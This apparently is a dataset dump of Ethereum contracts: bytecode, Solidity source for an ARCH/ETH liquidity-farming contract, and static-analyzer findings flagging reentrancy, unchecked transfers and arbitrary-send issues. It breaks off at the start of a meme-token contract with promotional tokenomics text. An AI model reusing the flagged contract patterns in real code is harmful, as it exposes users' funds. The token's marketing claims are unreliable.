6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181036000830152612f9f81612cc2565b9050919050565b60006020820190508181036000830152612fbf81612ce5565b9050919050565b60006020820190508181036000830152612fdf81612d08565b9050919050565b60006020820190508181036000830152612fff81612d2b565b9050919050565b6000602082019050818103600083015261301f81612d4e565b9050919050565b6000602082019050818103600083015261303f81612d71565b9050919050565b6000602082019050818103600083015261305f81612d94565b9050919050565b6000602082019050818103600083015261307f81612db7565b9050919050565b6000602082019050818103600083015261309f81612dda565b9050919050565b60006020820190506130bb6000830184612dfd565b92915050565b600060a0820190506130d66000830188612dfd565b6130e36020830187612c11565b81810360408301526130f58186612ba4565b90506131046060830185612b95565b6131116080830184612dfd565b9695505050505050565b60006020820190506131306000830184612e0c565b92915050565b6000613140613151565b905061314c828261338b565b919050565b6000604051905090565b600067ffffffffffffffff82111561317657613175613463565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131e78261332f565b91506131f28361332f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322757613226613405565b5b828201905092915050565b600061323d8261332f565b91506132488361332f565b92508261325857613257613434565b5b828204905092915050565b600061326e8261332f565b91506132798361332f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b2576132b1613405565b5b828202905092915050565b60006132c88261332f565b91506132d38361332f565b9250828210156132e6576132e5613405565b5b828203905092915050565b60006132fc8261330f565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133518261332f565b9050919050565b60005b8381101561337657808201518184015260208101905061335b565b83811115613385576000848401525b50505050565b61339482613492565b810181811067ffffffffffffffff821117156133b3576133b2613463565b5b80604052505050565b60006133c78261332f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fa576133f9613405565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a2816132f1565b81146137ad57600080fd5b50565b6137b981613303565b81146137c457600080fd5b50565b6137d08161332f565b81146137db57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076f16fe9f93d35f00d21222e54eda4af9ea58c7c7d0c2b4d953ed8e49a3c4bbd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,970 |
0x3696a1962c2013947be293ec41e32bf62c60773e
|
/**
*Submitted for verification at Etherscan.io on 2021-01-24
*/
pragma solidity >=0.7.5;
// SPDX-License-Identifier: BSD-3-Clause
// Farming Contract for ARCH/ETH LP
// 390000 AGL Rewards Dispersed @ 13000 AGL/DAY for 30 Days
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract ARCHETHFarming is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event RewardsDisbursed(uint amount);
// Uniswap ETH/ARCH LP token contract address
address public constant LPtokenAddress = 0xef841312c610A6340A0235e4e26Ca7a0ecb09635;
//ANGEL token address
address public constant tokenAddress = 0xd1B9E138516EE74ee27949eb1B58584A4bEDE267;
uint public constant withdrawFeePercentX100 = 0;
uint public constant disburseAmount = 13000e9;
uint public constant disburseDuration = 24 hours;
uint public disbursePercentX100 = 10000;
uint public lastDisburseTime;
constructor() {
lastDisburseTime = block.timestamp;
}
uint public totalClaimedRewards = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public depositTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public lastDivPoints;
uint public totalTokensDisbursed = 0;
uint public contractBalance = 0;
uint public totalDivPoints = 0;
uint public totalTokens = 0;
uint internal pointMultiplier = 1e9;
function addContractBalance(uint amount) public onlyOwner {
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amount), "Cannot add balance!");
contractBalance = contractBalance.add(amount);
}
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = block.timestamp;
lastDivPoints[account] = totalDivPoints;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint newDivPoints = totalDivPoints.sub(lastDivPoints[_holder]);
uint depositedAmount = depositedTokens[_holder];
uint pendingDivs = depositedAmount.mul(newDivPoints).div(pointMultiplier);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToDeposit) public {
require(amountToDeposit > 0, "Cannot deposit 0 Tokens");
updateAccount(msg.sender);
require(Token(LPtokenAddress).transferFrom(msg.sender, address(this), amountToDeposit), "Insufficient Token Allowance");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToDeposit);
totalTokens = totalTokens.add(amountToDeposit);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
depositTime[msg.sender] = block.timestamp;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function emergencyWithdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
lastClaimedTime[msg.sender] = block.timestamp;
lastDivPoints[msg.sender] = totalDivPoints;
uint fee = amountToWithdraw.mul(withdrawFeePercentX100).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(LPtokenAddress).transfer(owner, fee), "Could not transfer fee!");
require(Token(LPtokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
totalTokens = totalTokens.sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
}
function distributeDivs(uint amount) private {
if (totalTokens == 0) return;
totalDivPoints = totalDivPoints.add(amount.mul(pointMultiplier).div(totalTokens));
emit RewardsDisbursed(amount);
}
function disburseTokens() public onlyOwner {
uint amount = getPendingDisbursement();
//uint contractBalance = Token(tokenAddress).balanceOf(address(this));
if (contractBalance < amount) {
amount = contractBalance;
}
if (amount == 0) return;
distributeDivs(amount);
contractBalance = contractBalance.sub(amount);
lastDisburseTime = block.timestamp;
}
function getPendingDisbursement() public view returns (uint) {
uint timeDiff = block.timestamp.sub(lastDisburseTime);
uint pendingDisburse = disburseAmount
.mul(disbursePercentX100)
.mul(timeDiff)
.div(disburseDuration)
.div(10000);
return pendingDisburse;
}
function getDepositorsList(uint startIndex, uint endIndex)
public
view
returns (address[] memory stakers,
uint[] memory stakingTimestamps,
uint[] memory lastClaimedTimeStamps,
uint[] memory stakedTokens) {
require (startIndex < endIndex);
uint length = endIndex.sub(startIndex);
address[] memory _stakers = new address[](length);
uint[] memory _stakingTimestamps = new uint[](length);
uint[] memory _lastClaimedTimeStamps = new uint[](length);
uint[] memory _stakedTokens = new uint[](length);
for (uint i = startIndex; i < endIndex; i = i.add(1)) {
address staker = holders.at(i);
uint listIndex = i.sub(startIndex);
_stakers[listIndex] = staker;
_stakingTimestamps[listIndex] = depositTime[staker];
_lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker];
_stakedTokens[listIndex] = depositedTokens[staker];
}
return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens);
}
/* function to allow owner to claim *other* ERC20 tokens sent to this contract.
Owner cannot recover unclaimed tokens (they are burnt)
*/
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
require(_tokenAddr != LPtokenAddress, "Admin cannot transfer out LP tokens from this vault!");
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80638da5cb5b11610104578063c326bf4f116100a2578063f2fde38b11610071578063f2fde38b14610535578063f3f91fa01461055b578063f9da7db814610581578063fe547f7214610589576101da565b8063c326bf4f146104f7578063d1b965f31461051d578063d578ceab14610525578063e027c61f1461052d576101da565b806398896d10116100de57806398896d10146104a45780639d76ea58146104ca578063ac51de8d146104d2578063b6b55f25146104da576101da565b80638da5cb5b146104705780638e20a1d9146104945780638f5705be1461049c576101da565b806346c648731161017c57806365ca78be1161014b57806365ca78be146104225780636a395ccb1461042a5780637e1c0c09146104605780638b7afe2e14610468576101da565b806346c64873146103b15780634e71d92d146103d75780635312ea8e146103df5780636270cd18146103fc576101da565b80631f04461c116101b85780631f04461c146103495780632e1a7d4d1461036f578063308feec31461038c578063452b4cfc14610394576101da565b806305447d25146101df5780630813cc8f146103255780630c9a0c781461032f575b600080fd5b610202600480360360408110156101f557600080fd5b5080359060200135610591565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561024e578181015183820152602001610236565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561028d578181015183820152602001610275565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156102cc5781810151838201526020016102b4565b50505050905001858103825286818151815260200191508051906020019060200280838360005b8381101561030b5781810151838201526020016102f3565b505050509050019850505050505050505060405180910390f35b61032d6107fd565b005b61033761085b565b60408051918252519081900360200190f35b6103376004803603602081101561035f57600080fd5b50356001600160a01b0316610861565b61032d6004803603602081101561038557600080fd5b5035610873565b610337610b3b565b61032d600480360360208110156103aa57600080fd5b5035610b4c565b610337600480360360208110156103c757600080fd5b50356001600160a01b0316610c49565b61032d610c5b565b61032d600480360360208110156103f557600080fd5b5035610c64565b6103376004803603602081101561041257600080fd5b50356001600160a01b0316610cf8565b610337610d0a565b61032d6004803603606081101561044057600080fd5b506001600160a01b03813581169160208101359091169060400135610d10565b610337610e0b565b610337610e11565b610478610e17565b604080516001600160a01b039092168252519081900360200190f35b610337610e26565b610337610e2c565b610337600480360360208110156104ba57600080fd5b50356001600160a01b0316610e33565b610478610ecf565b610337610ee7565b61032d600480360360208110156104f057600080fd5b5035610f3c565b6103376004803603602081101561050d57600080fd5b50356001600160a01b03166110e2565b6103376110f4565b6103376110f9565b6103376110ff565b61032d6004803603602081101561054b57600080fd5b50356001600160a01b0316611105565b6103376004803603602081101561057157600080fd5b50356001600160a01b031661118a565b61047861119c565b6103376111b4565b6060806060808486106105a357600080fd5b60006105af86886111be565b905060008167ffffffffffffffff811180156105ca57600080fd5b506040519080825280602002602001820160405280156105f4578160200160208202803683370190505b50905060008267ffffffffffffffff8111801561061057600080fd5b5060405190808252806020026020018201604052801561063a578160200160208202803683370190505b50905060008367ffffffffffffffff8111801561065657600080fd5b50604051908082528060200260200182016040528015610680578160200160208202803683370190505b50905060008467ffffffffffffffff8111801561069c57600080fd5b506040519080825280602002602001820160405280156106c6578160200160208202803683370190505b5090508a5b8a8110156107eb5760006106e06004836111d5565b905060006106ee838f6111be565b9050818782815181106106fd57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060076000836001600160a01b03166001600160a01b031681526020019081526020016000205486828151811061074f57fe5b60200260200101818152505060086000836001600160a01b03166001600160a01b031681526020019081526020016000205485828151811061078d57fe5b60200260200101818152505060066000836001600160a01b03166001600160a01b03168152602001908152602001600020548482815181106107cb57fe5b6020908102919091010152506107e490508160016111e8565b90506106cb565b50929a91995097509095509350505050565b6000546001600160a01b0316331461081457600080fd5b600061081e610ee7565b905080600c54101561082f5750600c545b8061083a5750610859565b610843816111f7565b600c5461085090826111be565b600c5550426002555b565b60015481565b600a6020526000908152604090205481565b336000908152600660205260409020548111156108d7576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b6108e033611263565b60006108f86127106108f28484611413565b90611433565b9050600061090683836111be565b600080546040805163a9059cbb60e01b81526001600160a01b039092166004830152602482018690525192935073ef841312c610a6340a0235e4e26ca7a0ecb096359263a9059cbb92604480840193602093929083900390910190829087803b15801561097257600080fd5b505af1158015610986573d6000803e3d6000fd5b505050506040513d602081101561099c57600080fd5b50516109ef576040805162461bcd60e51b815260206004820152601760248201527f436f756c64206e6f74207472616e736665722066656521000000000000000000604482015290519081900360640190fd5b6040805163a9059cbb60e01b815233600482015260248101839052905173ef841312c610a6340a0235e4e26ca7a0ecb096359163a9059cbb9160448083019260209291908290030181600087803b158015610a4957600080fd5b505af1158015610a5d573d6000803e3d6000fd5b505050506040513d6020811015610a7357600080fd5b5051610ac6576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b33600090815260066020526040902054610ae090846111be565b33600090815260066020526040902055600e54610afd90846111be565b600e55610b0b600433611448565b8015610b24575033600090815260066020526040902054155b15610b3657610b3460043361145d565b505b505050565b6000610b476004611472565b905090565b6000546001600160a01b03163314610b6357600080fd5b604080516323b872dd60e01b815233600482015230602482015260448101839052905173d1b9e138516ee74ee27949eb1b58584a4bede267916323b872dd9160648083019260209291908290030181600087803b158015610bc357600080fd5b505af1158015610bd7573d6000803e3d6000fd5b505050506040513d6020811015610bed57600080fd5b5051610c36576040805162461bcd60e51b815260206004820152601360248201527243616e6e6f74206164642062616c616e63652160681b604482015290519081900360640190fd5b600c54610c4390826111e8565b600c5550565b60076020526000908152604090205481565b61085933611263565b33600090815260066020526040902054811115610cc8576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b336000908152600860209081526040808320429055600d54600a9092528220556108f86127106108f28484611413565b60096020526000908152604090205481565b600b5481565b6000546001600160a01b03163314610d2757600080fd5b6001600160a01b03831673ef841312c610a6340a0235e4e26ca7a0ecb096351415610d835760405162461bcd60e51b81526004018080602001828103825260348152602001806116456034913960400191505060405180910390fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610dda57600080fd5b505af1158015610dee573d6000803e3d6000fd5b505050506040513d6020811015610e0457600080fd5b5050505050565b600e5481565b600c5481565b6000546001600160a01b031681565b600d5481565b6201518081565b6000610e40600483611448565b610e4c57506000610eca565b6001600160a01b038216600090815260066020526040902054610e7157506000610eca565b6001600160a01b0382166000908152600a6020526040812054600d54610e96916111be565b6001600160a01b038416600090815260066020526040812054600f5492935091610ec4906108f28486611413565b93505050505b919050565b73d1b9e138516ee74ee27949eb1b58584a4bede26781565b600080610eff600254426111be90919063ffffffff16565b90506000610f356127106108f2620151806108f286610f2f600154650bd2cc61d00061141390919063ffffffff16565b90611413565b9250505090565b60008111610f91576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b610f9a33611263565b604080516323b872dd60e01b815233600482015230602482015260448101839052905173ef841312c610a6340a0235e4e26ca7a0ecb09635916323b872dd9160648083019260209291908290030181600087803b158015610ffa57600080fd5b505af115801561100e573d6000803e3d6000fd5b505050506040513d602081101561102457600080fd5b5051611077576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b3360009081526006602052604090205461109190826111e8565b33600090815260066020526040902055600e546110ae90826111e8565b600e556110bc600433611448565b6110df576110cb60043361147d565b503360009081526007602052604090204290555b50565b60066020526000908152604090205481565b600081565b60035481565b60025481565b6000546001600160a01b0316331461111c57600080fd5b6001600160a01b03811661112f57600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60086020526000908152604090205481565b73ef841312c610a6340a0235e4e26ca7a0ecb0963581565b650bd2cc61d00081565b6000828211156111ca57fe5b508082035b92915050565b60006111e18383611492565b9392505050565b6000828201838110156111e157fe5b600e54611203576110df565b61122a611221600e546108f2600f548561141390919063ffffffff16565b600d54906111e8565b600d556040805182815290517f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a8259181900360200190a150565b600061126e82610e33565b905080156113e7576040805163a9059cbb60e01b81526001600160a01b038416600482015260248101839052905173d1b9e138516ee74ee27949eb1b58584a4bede2679163a9059cbb9160448083019260209291908290030181600087803b1580156112d957600080fd5b505af11580156112ed573d6000803e3d6000fd5b505050506040513d602081101561130357600080fd5b5051611356576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526009602052604090205461137990826111e8565b6001600160a01b03831660009081526009602052604090205560035461139f90826111e8565b600355604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600860209081526040808320429055600d54600a90925290912055565b600082820283158061142d57508284828161142a57fe5b04145b6111e157fe5b60008082848161143f57fe5b04949350505050565b60006111e1836001600160a01b0384166114f6565b60006111e1836001600160a01b03841661150e565b60006111cf826115d4565b60006111e1836001600160a01b0384166115d8565b815460009082106114d45760405162461bcd60e51b81526004018080602001828103825260228152602001806116236022913960400191505060405180910390fd5b8260000182815481106114e357fe5b9060005260206000200154905092915050565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156115ca578354600019808301919081019060009087908390811061154157fe5b906000526020600020015490508087600001848154811061155e57fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061158e57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506111cf565b60009150506111cf565b5490565b60006115e483836114f6565b61161a575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556111cf565b5060006111cf56fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a2646970667358221220b137ea149f41c535d68a055d99c759e6e415acbb9005783d8ce7e18b442a06fd64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,971 |
0xf8bff7064f338d47a965d62238a697b8814fd929
|
/*
✨✨ 💛 💜 BUU INU 💜 💛✨✨
The most lovable villain of the Dragon Ball Inu Tokens — here to complete all the functions of great past tokens perfecting these formulas that have made huge waves in the current space.
This may be the final boss, but in the end it will save us all.
🟣 Tokenomics
ETH Token | No Burn
Total Supply: 100,000,000,000 (100B)
Tax:
▫️6% Buyback and Marketing
▫️1% Redistribution Tax
Liquidity will be locked immediately after launch with an audit from Certik in the first week. We will also be taking measures to protect against bots and snipers.
🟣 Follow us on our socials!
🌐 Website: https://buu-inu.com
🐦 Twitter: https://twitter.com/thebuu_inu
📥 Telegram Portal: https://t.me/buuinu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
